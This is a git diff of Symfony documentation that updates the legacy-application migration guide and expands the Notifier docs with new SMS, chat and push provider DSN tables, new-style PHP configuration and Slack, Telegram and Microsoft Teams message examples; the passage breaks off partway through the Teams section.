index fa8c2bfc24b..71c55ba240d 100644
--- a/migration.rst
+++ b/migration.rst
@@ -7,7 +7,7 @@ Migrating an Existing Application to Symfony
 When you have an existing application that was not built with Symfony,
 you might want to move over parts of that application without rewriting
 the existing logic completely. For those cases there is a pattern called
-`Strangler Application`_. The basic idea of this pattern is to create a
+`Strangler Fig Application`_. The basic idea of this pattern is to create a
 new application that gradually takes over functionality from an existing
 application. This migration approach can be implemented with Symfony in
 various ways and has some benefits over a rewrite such as being able
@@ -82,7 +82,7 @@ Setting up Composer
 Another point you will have to look out for is conflicts between
 dependencies in both applications. This is especially important if your
 existing application already uses Symfony components or libraries commonly
-used in Symfony applications such as Doctrine ORM, Swiftmailer or Twig.
+used in Symfony applications such as Doctrine ORM or Twig.
 A good way for ensuring compatibility is to use the same ``composer.json``
 for both project's dependencies.
 
@@ -238,6 +238,7 @@ could look something like this::
     // public/index.php
     use App\Kernel;
     use App\LegacyBridge;
+    use Symfony\Component\Dotenv\Dotenv;
     use Symfony\Component\ErrorHandler\Debug;
     use Symfony\Component\HttpFoundation\Request;
 
@@ -262,7 +263,7 @@ could look something like this::
     if ($trustedProxies = $_SERVER['TRUSTED_PROXIES'] ?? $_ENV['TRUSTED_PROXIES'] ?? false) {
         Request::setTrustedProxies(
           explode(',', $trustedProxies),
-          Request::HEADER_X_FORWARDED_ALL ^ Request::HEADER_X_FORWARDED_HOST
+          Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO
         );
     }
 
@@ -288,7 +289,7 @@ could look something like this::
 
 There are 2 major deviations from the original file:
 
-Line 15
+Line 18
   First of all, ``$kernel`` is made globally available. This allows you to use
   Symfony features inside your existing application and gives access to
   services configured in our Symfony application. This helps you prepare your
@@ -296,7 +297,7 @@ Line 15
   it over. For instance, by replacing outdated or redundant libraries with
   Symfony components.
 
-Line 38 - 47
+Line 41 - 50
   Instead of sending the Symfony response directly, a ``LegacyBridge`` is
   called to decide whether the legacy application should be booted and used to
   create the response instead.
@@ -315,11 +316,11 @@ somewhat like this::
 
     class LegacyBridge
     {
-        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): string
+        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): ?string
         {
             // If Symfony successfully handled the route, you do not have to do anything.
             if (false === $response->isNotFound()) {
-                return;
+                return null;
             }
 
             // Figure out how to map to the needed script file
@@ -463,7 +464,7 @@ chance to use Symfony's event lifecycle. For instance, this allows you to
 transition the authentication and authorization of the legacy application over
 to the Symfony application using the Security component and its firewalls.
 
-.. _`Strangler Application`: https://martinfowler.com/bliki/StranglerFigApplication.html
+.. _`Strangler Fig Application`: https://martinfowler.com/bliki/StranglerFigApplication.html
 .. _`autoload`: https://getcomposer.org/doc/04-schema.md#autoload
 .. _`Modernizing with Symfony`: https://youtu.be/YzyiZNY9htQ
 .. _`Symfony Panther`: https://github.com/symfony/panther
diff --git a/notifier.rst b/notifier.rst
index b626a79ac39..febb0d331e4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -6,8 +6,7 @@ Creating and Sending Notifications
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 Installation
 ------------
@@ -22,8 +21,10 @@ Get the Notifier installed using:
 
     $ composer require symfony/notifier
 
-Channels: Chatters, Texters, Email and Browser
-----------------------------------------------
+.. _channels-chatters-texters-email-and-browser:
+
+Channels: Chatters, Texters, Email, Browser and Push
+----------------------------------------------------
 
 The notifier component can send notifications to different channels. Each
 channel can integrate with different providers (e.g. Slack or Twilio SMS)
@@ -37,6 +38,7 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
+* Push Channel sends notifications to phones and browsers via push notifications.
 
 .. tip::
 
@@ -54,20 +56,39 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==========  ================================  ====================================================
-Service     Package                           DSN
-==========  ================================  ====================================================
-Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-Infobip     ``symfony/infobip-notifier``      ``infobip://TOKEN@default?from=FROM``
-Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
-OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-Sendinblue  ``symfony/sendinblue-notifier``   ``sendinblue://API_KEY@default?sender=PHONE``
-Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi      ``symfony/smsapi-notifier``       ``smsapi://TOKEN@default?from=FROM``
-Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
-==========  ================================  ====================================================
+==============  ====================================  ===========================================================================
+Service         Package                               DSN
+==============  ====================================  ===========================================================================
+AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
+FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
+Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
+MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
+MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
+Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
+Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
+Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
+SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
+Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
+Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
+Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
+==============  ====================================  ===========================================================================
 
 .. versionadded:: 5.1
 
@@ -77,6 +98,20 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
     The Smsapi, Infobip, Mobyt, Esendex and Sendinblue integrations were introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms (email), LightSms, SmsBiuras
+    and MessageBird integrations were introduced in Symfony 5.3.
+
+.. deprecated:: 5.4
+
+    The Nexmo integration was deprecated in Symfony 5.4, use the Vonage integration instead.
+
+.. versionadded:: 5.4
+
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet, FakeSms (logger),
+    Sms77 and Vonage integrations were introduced in Symfony 5.4.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -118,14 +153,14 @@ configure the ``texter_transports``:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'texter_transports' => [
-                    'twilio' => '%env(TWILIO_DSN)%',
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->texterTransport('twilio', '%env(TWILIO_DSN)%')
+            ;
+        };
 
 .. _notifier-chat-channel:
 .. _notifier-chatter-dsn:
@@ -137,35 +172,50 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==========  ================================  ===========================================================================
-Service     Package                           DSN
-==========  ================================  ===========================================================================
-Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
-GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``
-LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
-Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
-RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-Slack       ``symfony/slack-notifier``        ``slack://default/ID``
-Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
-==========  ================================  ===========================================================================
+==============  ====================================  =============================================================================
+Service         Package                               DSN
+==============  ====================================  =============================================================================
+AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
+FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
+GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
+Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
+MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+==============  ====================================  =============================================================================
 
 .. versionadded:: 5.1
 
-    The Mattermost and RocketChat integrations were introduced in Symfony
+    The Firebase, Mattermost and RocketChat integrations were introduced in Symfony
     5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
     Webhooks instead of legacy tokens.
 
 .. versionadded:: 5.2
 
     The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
+    The Slack DSN changed in Symfony 5.2 to use Slack Web API again same as in 5.0.
+
+.. versionadded:: 5.3
+
+    The Gitter, Mercure, FakeChat (email) and Microsoft Teams integrations were introduced in Symfony 5.3.
+
+.. versionadded:: 5.4
+
+    The AmazonSns and FakeChat (logger) integrations were introduced in Symfony 5.4.
 
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
 
     # .env
-    SLACK_DSN=slack://default/ID
+    SLACK_DSN=slack://TOKEN@default?channel=CHANNEL
 
 .. configuration-block::
 
@@ -200,14 +250,14 @@ Chatters are configured using the ``chatter_transports`` setting:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'chatter_transports' => [
-                    'slack' => '%env(SLACK_DSN)%',
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->chatterTransport('slack', '%env(SLACK_DSN)%')
+            ;
+        };
 
 .. _notifier-email-channel:
 
@@ -264,15 +314,85 @@ notification emails:
 
     .. code-block:: php
 
-        # config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            'mailer' => [
-                'dsn' => '%env(MAILER_DSN)%',
-                'envelope' => [
-                    'sender' => 'notifications@example.com',
-                ],
-            ],
-        ]);
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->dsn('%env(MAILER_DSN)%')
+                ->envelope()
+                    ->sender('notifications@example.com')
+            ;
+        };
+
+Push Channel
+~~~~~~~~~~~~
+
+The push channel is used to send notifications to users by using
+:class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
+integration with these push services:
+
+==============  ====================================  =================================================================================
+Service         Package                               DSN
+==============  ====================================  =================================================================================
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Expo            ``symfony/expo-notifier``              ``expo://Token@default``
+OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
+==============  ====================================  =================================================================================
+
+.. versionadded:: 5.4
+
+    The Expo and OneSignal integrations were introduced in Symfony 5.4.
+
+To enable a texter, add the correct DSN in your ``.env`` file and
+configure the ``texter_transports``:
+
+.. code-block:: bash
+
+    # .env
+    EXPO_DSN=expo://TOKEN@default
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                texter_transports:
+                    expo: '%env(EXPO_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <framework:texter-transport name="expo">
+                        %env(EXPO_DSN)%
+                    </framework:texter-transport>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->texterTransport('expo', '%env(EXPO_DSN)%')
+            ;
+        };
 
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -327,19 +447,19 @@ transport:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'chatter_transports' => [
-                    // Send notifications to Slack and use Telegram if
-                    // Slack errored
-                    'main' => '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%',
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                // Send notifications to Slack and use Telegram if
+                // Slack errored
+                ->chatterTransport('main', '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%')
 
-                    // Send notifications to the next scheduled transport calculated by round robin
-                    'roundrobin' => '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%',
-                ],
-            ],
-        ]);
+                // Send notifications to the next scheduled transport calculated by round robin
+                ->chatterTransport('roundrobin', '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%')
+            ;
+        };
 
 Creating & Sending Notifications
 --------------------------------
@@ -378,7 +498,7 @@ To send a notification, autowire the
             );
 
             // Send the notification to the recipient
-            $sentMessage = $notifier->send($notification, $recipient);
+            $notifier->send($notification, $recipient);
 
             // ...
         }
@@ -389,14 +509,6 @@ channels. The channels specify which channel (or transport) should be used
 to send the notification. For instance, ``['email', 'sms']`` will send
 both an email and sms notification to the user.
 
-The ``send()`` method used to send the notification returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
-information such as the message ID and the original message contents.
-
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
 The default notification also has a ``content()`` and ``emoji()`` method to
 set the notification content and icon.
 
@@ -479,23 +591,21 @@ specify what channels should be used for specific levels (using
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                // ...
-                'channel_policy' => [
-                    // Use SMS, Slack and email for urgent notifications
-                    'urgent' => ['sms', 'chat/slack', 'email'],
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
 
-                    // Use Slack for highly important notifications
-                    'high' => ['chat/slack'],
-
-                    // Use browser for medium and low notifications
-                    'medium' => ['browser'],
-                    'low' => ['browser'],
-                ],
-            ],
-        ]);
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->notifier()
+                // Use SMS, Slack and email for urgent notifications
+                ->channelPolicy('urgent', ['sms', 'chat/slack', 'email'])
+                // Use Slack for highly important notifications
+                ->channelPolicy('high', ['chat/slack'])
+                // Use browser for medium and low notifications
+                ->channelPolicy('medium', ['browser'])
+                ->channelPolicy('medium', ['browser'])
+            ;
+        };
 
 Now, whenever the notification's importance is set to "high", it will be
 sent using the Slack transport::
@@ -514,7 +624,7 @@ sent using the Slack transport::
                 ->content('You got a new invoice for 15 EUR.')
                 ->importance(Notification::IMPORTANCE_HIGH);
 
-            $notifier->send($notification, new Recipient('wouter@wouterj.nl'));
+            $notifier->send($notification, new Recipient('wouter@example.com'));
 
             // ...
         }
@@ -600,7 +710,7 @@ The
 :class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`
 and
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
-also exists to modify messages send to those channels.
+also exists to modify messages sent to those channels.
 
 Disabling Delivery
 ------------------
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 9d03f83987c..bc1a4da1914 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -6,8 +6,7 @@ How to send Chat Messages
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
 you to send messages to chat services like Slack or Telegram::
@@ -55,12 +54,12 @@ Adding Interactions to a Slack Message
 --------------------------------------
 
 With a Slack message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` to add
-some interactive options called `Block elements`_::
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
+to add some interactive options called `Block elements`_::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
     use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
     use Symfony\Component\Notifier\Message\ChatMessage;
@@ -98,20 +97,170 @@ some interactive options called `Block elements`_::
 
     $chatter->send($chatMessage);
 
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
+Adding Fields and Values to a Slack Message
+-------------------------------------------
+
+To add fields and values to your message you can use the
+:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/field-method.png
+   :align: center
+
+.. versionadded:: 5.1
+
+    The `field()` method was introduced in Symfony 5.1.
+
+Adding a Header to a Slack Message
+----------------------------------
+
+To add a header to your message use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackHeaderBlock('My Header')))
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-header.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
+
+Adding a Footer to a Slack Message
+----------------------------------
+
+To add a footer to your message use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $contextBlock = (new SlackContextBlock())
+        ->text('My Context')
+        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
+    ;
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        )
+        ->block($contextBlock)
+    ;
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-footer.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
+
+Sending a Slack Message as a Reply
+----------------------------------
+
+To send your slack message as a reply in a thread use the
+:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My reply'))
+        ->threadTs('1621592155.003100')
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/message-reply.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``threadTs()`` method was introduced in Symfony 5.3.
 
 Adding Interactions to a Discord Message
 ----------------------------------------
 
 With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add
-some interactive options called `Embed elements`_::
+:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
+to add some interactive options called `Embed elements`_::
 
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordMediaEmbedObject;
     use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
     use Symfony\Component\Notifier\Message\ChatMessage;
 
     $chatMessage = new ChatMessage('');
@@ -151,4 +300,131 @@ some interactive options called `Embed elements`_::
 
     $chatter->send($chatMessage);
 
+Adding Interactions to a Telegram Message
+-----------------------------------------
+
+With a Telegram message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
+to add `message options`_::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Telegram options
+    $telegramOptions = (new TelegramOptions())
+        ->chatId('@symfonynotifierdev')
+        ->parseMode('MarkdownV2')
+        ->disableWebPagePreview(true)
+        ->disableNotification(true)
+        ->replyMarkup((new InlineKeyboardMarkup())
+            ->inlineKeyboard([
+                (new InlineKeyboardButton('Visit symfony.com'))
+                    ->url('https://symfony.com/'),
+            ])
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($telegramOptions);
+
+    $chatter->send($chatMessage);
+
+Adding text to a Microsoft Teams Message
+----------------------------------------
+
+With a Microsoft Teams, you can use the ChatMessage class::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message.png
+   :align: center
+
+Adding Interactions to a Microsoft Teams Message
+------------------------------------------------
+
+With a Microsoft Teams Message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
+to add `MessageCard options`_::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
